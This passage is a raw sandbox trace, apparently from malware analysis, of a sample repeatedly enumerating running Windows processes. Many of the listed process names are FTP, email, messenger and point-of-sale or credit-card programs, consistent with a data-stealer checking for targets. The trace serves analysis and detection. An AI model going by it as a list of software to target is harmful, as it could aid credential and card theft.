lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0256.369] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0256.371] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0256.373] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0256.375] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0256.378] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0256.380] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0256.383] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0256.385] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0256.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0256.390] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0256.392] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0256.395] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0256.397] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0256.400] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0256.403] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0256.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0256.409] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0256.412] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0256.415] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0256.419] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0256.422] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0256.425] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0256.428] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0256.431] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0256.436] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0256.565] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0256.570] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0256.573] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0256.579] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0256.581] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0256.614] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0256.616] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0256.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0256.621] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0256.623] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0256.625] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0256.627] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0256.629] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0256.631] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0256.633] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0256.635] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0256.638] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0256.640] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0256.642] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0256.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0256.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0256.649] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0256.651] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0256.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0256.656] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0256.658] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0256.660] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0256.662] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0256.665] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0256.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0256.670] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0256.672] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0256.674] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0256.676] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0256.677] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0256.679] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0256.681] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0256.683] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0256.685] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.687] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0256.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.690] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0256.692] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0256.693] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0256.695] CloseHandle (hObject=0x2200) returned 1 [0256.695] Sleep (dwMilliseconds=0x64) [0256.700] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0256.715] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.720] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.723] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.758] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.763] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.765] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.768] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.771] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.775] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, 